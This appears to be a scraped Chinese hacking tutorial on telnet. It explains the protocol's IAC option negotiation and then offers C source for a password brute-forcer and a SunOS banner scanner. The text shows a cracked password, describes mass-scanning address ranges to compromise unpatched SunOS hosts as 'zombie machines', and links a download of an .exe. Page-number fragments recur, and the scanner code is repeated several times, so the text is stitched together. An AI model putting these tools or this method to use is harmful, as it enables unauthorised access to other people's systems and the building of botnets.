所谓对telnet的攻击也不外乎对telnet的用户猜解和对telnet服务进程的溢出,除了这些, 本人觉得telnet并没有太大的问题.telnet的连接并不是大家想象的那么简单了,虽然没有像ssh那样进行加密, 不过, 还是比FTP等通讯来的复杂。
D:>telnet 192.168.25.1
Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
login: chi
PassWord: xxxxxxx
Last Login: Mon Feb 24 13:43:30 from 192.168.25.1
[chi@chi chi]$
现在我们先对telnet有点了解吧!TELNET Protocol的目的是提供一个相对通用的,双向的,面向八位字节的通信方法。它主要的目标是允许接口终端设备的标准方法和面向终端的相互作用。可以预见到,此协议也可被用于终端到终端的通信和处理到处理的通信(分布式计算)。
一个TELNET连接是一个用于传输控制协议的传送数据的。TELNET 协议是建立在以下三个基础上:
1。网络虚拟终端的概念;
当一个TELNET连接被初次建立时,每一端都被假设使用了网络虚拟终端,也就是NVT。NVT是一个想象中的标准设备通用设备的代表。这就消除了“服务器”和“用户”机要了解对方机器终端的特点,而终端可以直接处理对话
2。对话选项的方法;
基于对话方式的连接. 它们使用"DO, DON'T, WILL, WON'T" 结构允许用户机和服务器建立建立一种更加精巧的TELNET会话连接。这种选项包括改变字符集,响应模式等等。设置选项的基本策略是任一方初始化要求一个选项生效的请求。另一方可以接受也可以拒绝这一请求。如果接受请求,此选项立刻生效;如果被拒绝,连接仍然保持基本的NVT的连接属性。
3。终端和处理的协调;
在终端一方,设置硬件在每一行结束时放弃控制权。当这种情况发生时,本地计算机处理输入数据,决定是否输出,如果不需要,将控制权回送给终端。如果需要产生输出,计算机将保有控制权直到输出数据发送完毕。在网络上使用这种终端的困难是显而易见的。这里就要对
协调有很高的要求了.
所有TELNET命令结构至少包括一个两个字节的序列:由一个IAC后跟一个命令。关于选项会话的命令是由三个字节的序列构成的,第三个字节是关于选项参考的,下面是定义了的TELNET命令.
.......................................................................................
SE 240 结束子会话参数。
NOP 241 无操作。
Data Mark 242 Synch的数据流部分。这应该总和TCP紧急标志一起发送。
Break 243 NVT 字符 BRK。
Interrupt Process 244 IP功能。
Abort output 245 AO功能。
Are You There 246 AYT功能。
Erase character 247 EC功能。
Erase character 247 EL功能。
Go ahead 249 The GA 信号。
SB 250 指出所跟随的是指示选项的子对话。
WILL (option code) 251 指示希望开始执行,或者确认现在正在操作指示的选项。
WON'T (option code) 252 指出拒绝执行或继续招待所指示的选项。
DO (option code) 253 指出要求对方执行,或者确认希望对方执行指示的选项。
DON'T (option code) 254 指出要求对方停止执行,或者确诊要求对方停止执行指示的选项。
[1] [2] [3] [4] [5] [6] [7]
IAC 255 数据字节 255
.................................................................................
我们用sniffer来跟踪telnet的登陆过程.
9. IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.391,66,
Telnet
Command: DO TERMINAL-TYPE
Command: DO TERMINAL-SPEED
Command: DO X-DISPLAY-LOCATION
Command: DO NEW-ENVIRON
10,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,60,
Telnet
Command: WILL TERMINAL-TYPE
Command: WILL NAWS
13,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63,
Telnet
Command: WON'T TERMINAL-SPEED
Command: WON'T X-DISPLAY-LOCATION
Command: WON'T NEW-ENVIRON
18,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,63,
Telnet
Command: DO NAWS
Command: SB TERMINAL-TYPE
Command: EB
26,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,66,
Telnet
Command: WILL SUPPRESS-GO-AHEAD
Command: DO ECHO
Command: WILL STATUS
Command: DO TOGGLE-FLOW-CONTROL
31,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63,
Telnet
Command: WILL ECHO
Command: DON'T STATUS
Command: WON'T TOGGLE-FLOW-CONTROL
34,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.040,126,
Telnet
Command: DON'T ECHO
Command: WILL ECHO
Data: Red Hat Linux release 7.3 (Valhalla)<CR><LF>Kernel 2.4.18-3 on an i686<CR><LF>
(注意这里就接收到了banner了)
35,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,57,
Telnet
Command: WON'T ECHO
36,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,61,
Telnet
[1] [2] [3] [4] [5] [6] [7]
Data: login:
(接收到Login字节)
39,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,57,
Telnet
Command: DO ECHO
(这里就可以发送用户名)
62,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,56,
Telnet
Data: <CR><LF>
67,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,64,
Telnet
Data: Password:
(接收到password字节并可以发送密码进行验证)
97,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.220,56,
Telnet
Data: <CR><LF>
(发送完成,如果成功就会返回下面的情况)
104,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,105,
Telnet
Data: Last login: Thu Feb 27 10:06:16 from 192.168.25.1<CR><LF>
对telnet一次成功的登陆就到这里结束了,按早上面的的过程就可以写出个对telnet用户名的密码的猜解了!
/************************************************************************/
/* 下面这个是我对Red hat 7.3 所写的telnet user check,可以对别的无效, 只要稍作修改就可以了 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 23
#define MAX 1024
main(int argc,char *argv[])
{
FILE *userfile;
FILE *passfile;
FILE *ipfile;
char user[1024];
char pass[1024];
char scan_ip[1024];
if(argc < 4)
{
usage(argv[0]);
exit(1);
}
if((ipfile = fopen(argv[3],"r")) == NULL) {
printf("could not read the ipfile\n");
exit(2);
}
while(fscanf(ipfile,"%s",&scan_ip) != EOF)
{
if((userfile = fopen(argv[1],"r")) == NULL) {
printf("could not read the inputfile\n");
exit(2);
[1] [2] [3] [4] [5] [6] [7]
}
while(fscanf(userfile,"%s",&user) != EOF)
{
if((passfile = fopen(argv[2],"r")) == NULL) {
printf("could not creat the outputfile\n");
exit(2);
}
while(fscanf(passfile,"%s",&pass) != EOF)
{
telnet_banner(scan_ip,user,pass);
}
}
}
exit(1);
}
int usage(char *pro)
{
printf(" Welcome to www.9836.com \n");
printf("usage: %s <userfile> <passfile> <ipfile> \n",pro);
exit(0);
}
telnet_banner(char *ip,char *check_user, char *check_pass)
{
strUCt sockaddr_in addr;
u_char buf[MAX];
int sock,size,i=0;
if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) {
printf(" socket failt");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(ip);
if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) {
printf("connect failt");
exit(1);
}
while(i<10){
read (sock, buf, 1);
if (*buf == 255) /* IAC */
read (sock, (buf + 1), 2);
if ( * (buf + 1) == 253 ) /* 是否为DO */
{
*(buf + 1) = 252;
write (sock, buf, 3); /* 发送 WON'T */
}
i++;
}
if (*buf != 0) {
bzero (buf, sizeof (buf));
read (sock, buf, sizeof (buf)); /* 读取Telnet banner */
printf("%s",buf);
}
bzero (buf, sizeof (buf));
read (sock, buf, sizeof (buf)); /* Login */
[1] [2] [3] [4] [5] [6] [7]
*(buf+0) = 255;
*(buf + 1) = 253;
*(buf + 2) = 0x01;
write (sock, buf, 3); /* IAC DO ECHO */
write(sock,check_user,sizeof(check_user)); /* 发送用户名 */
*(buf+0) = 0x0D;
*(buf + 1) = 0X0A;
write (sock, buf, 2); /* <CR><LF> 表示发送完毕*/
read(sock,buf,sizeof(buf));
read(sock,buf,sizeof(buf)); /* password 字节 */
write(sock,check_pass,sizeof(check_pass)+3); /* 发送密码 */
*(buf+0) = 0x0D;
*(buf + 1) = 0X0A;
write (sock, buf, 2); /* <CR><LF> 表示发送完毕*/
read(sock,buf,sizeof(buf)); /* 读取回显 */
printf("%s",buf);
if( strstr(buf,"from") != NULL ) /* 判定 */
{
printf("\nuser %s is found, password is %s\n",check_user,check_pass);
}
close(sock);
}
/***************************************************************************************/
使用结果:
E:\cygwin\home\chi>telnet user.txt pass.txt ip.txt
Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
Last login: Thu Feb 27 20:07:49 from 192.168.25.3
[1] [2] [3] [4] [5] [6] [7]
user chi is found, password is 2211wen
Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
ssword: Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
ssword: Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
ssword: Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
ssword: Red Hat Linux release 7.3 (Valhalla)
Kernel 2.4.18-3 on an i686
ssword:
E:\cygwin\home\chi>
除了, 对telnet用户的猜解,还有的就只有对telnet服务或telnet进程的溢出了!telnet的登陆其实使用的login文件, 大家是不是想到了rootkit,
到现在为止sunos-telnet漏洞还有很多主机没有补好的!至于sunos-telnet的eXPloit如何用, 我这就不说了!我只概括的讲一下得到大批肉鸡的方法!
sunos的基本安装时就开了telnet, 所以大多的sunos主机都不会有人故意去改他的banner, 所以telnet的banner对我们来说是很重要的!
先生打开superscan, 扫描个大的区域并扫描111或22, 也就是unix机和windows端口上的区别, 从而过滤点windows的主机, 接下去, 保存你扫到的列表, 再次导入superscan中, 这次扫描的是23端口. 结下去的主机就没有省下多少了!然对superscan的ip列表进行过滤, 变成纯ip的列表![你需要的程序在这里下载http://9836.com/software/file.exe]
接下去就是对telnet banner的扫描了!没有忘上这上面那个程序吧, 我修改了一下就变成telnet banner check了, 而不是对用户的扫描!
/************************************************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 23
#define MAX 1024
FILE *output;
main(int argc,char *argv[])
{
FILE *input;
FILE *ipfile;
char scan_ip[1024];
if(argc < 3)
{
usage(argv[0]);
exit(1);
}
if(argc== 3) {
if((output = fopen(argv[2],"wb")) == NULL) {
printf("could not creat the outputfile\n");
exit(2);
}
if((input = fopen(argv[1],"r")) == NULL) {
printf("could not read the inputfile\n");
exit(2);
}
}
while(fscanf(input,"%s",&scan_ip) != EOF)
{
telnet_banner(scan_ip,argv[3]);
}
[1] [2] [3] [4] [5] [6] [7]
exit(1);
}
int usage(char *pro)
{
printf(" Welcome to www.9836.com \n");
printf("usage: %s <inputfile> <outputfile> \n",pro);
exit(0);
}
telnet_banner(char *ip,char *times)
{
struct sockaddr_in addr;
u_char buf[MAX];
int sock,size,i=0;
if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) {
printf(" socket failt");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(ip);
if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) {
printf("connect failt");
exit(1);
}
while(i<10){
read (sock, buf, 1);
if (*buf == 255) {
read (sock, (buf + 1), 2);
}
if ( * (buf + 1) == 253 )
{
*(buf + 1) = 252;
write (sock, buf, 3);
}
i++;
}
if (*buf != 0) {
bzero (buf, sizeof (buf));
read (sock, buf, sizeof (buf));
printf("%s",buf);
if( strstr(buf,"SunOS") != NULL)
{
*(buf + 14) = 0;
fprintf(output,"%s",buf);
fputs(ip,output);
}
}
close(sock);
}
/****************************************************************************/
(出处:http://www.sheup.com)
[1] [2] [3] [4] [5] [6] [7]
telnet_banner(scan_ip,argv[3]);
}
exit(1);
}
int usage(char *pro)
{
printf(" Welcome to www.9836.com \n");
printf("usage: %s <inputfile> <outputfile> \n",pro);
exit(0);
}
telnet_banner(char *ip,char *times)
{
struct sockaddr_in addr;
u_char buf[MAX];
int sock,size,i=0;
if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) {
printf(" socket failt");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(ip);
if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) {
printf("connect failt");
exit(1);
}
while(i<10){
read (sock, buf, 1);
if (*buf == 255) {
read (sock, (buf + 1), 2);
}
if ( * (buf + 1) == 253 )
{
*(buf + 1) = 252;
write (sock, buf, 3);
}
i++;
}
if (*buf != 0) {
bzero (buf, sizeof (buf));
read (sock, buf, sizeof (buf));
printf("%s",buf);
if( strstr(buf,"SunOS") != NULL)
{
*(buf + 14) = 0;
fprintf(output,"%s",buf);
fputs(ip,output);
}
}
close(sock);
}
/****************************************************************************/
(出处:http://www.sheup.com)
[1] [2] [3] [4] [5] [6] [7] [8]
sunos的基本安装时就开了telnet, 所以大多的sunos主机都不会有人故意去改他的banner, 所以telnet的banner对我们来说是很重要的!
先生打开superscan, 扫描个大的区域并扫描111或22, 也就是unix机和windows端口上的区别, 从而过滤点windows的主机, 接下去, 保存你扫到的列表, 再次导入superscan中, 这次扫描的是23端口. 结下去的主机就没有省下多少了!然对superscan的ip列表进行过滤, 变成纯ip的列表![你需要的程序在这里下载http://9836.com/software/file.exe]
接下去就是对telnet banner的扫描了!没有忘上这上面那个程序吧, 我修改了一下就变成telnet banner check了, 而不是对用户的扫描!
/************************************************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 23
#define MAX 1024
FILE *output;
main(int argc,char *argv[])
{
FILE *input;
FILE *ipfile;
char scan_ip[1024];
if(argc < 3)
{
usage(argv[0]);
exit(1);
}
if(argc== 3) {
if((output = fopen(argv[2],"wb")) == NULL) {
printf("could not creat the outputfile\n");
exit(2);
}
if((input = fopen(argv[1],"r")) == NULL) {
printf("could not read the inputfile\n");
exit(2);
}
}
while(fscanf(input,"%s",&scan_ip) != EOF)
{
telnet_banner(scan_ip,argv[3]);
}
exit(1);
}
int usage(char *pro)
{
printf(" Welcome to www.9836.com \n");
printf("usage: %s <inputfile> <outputfile> \n",pro);
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10]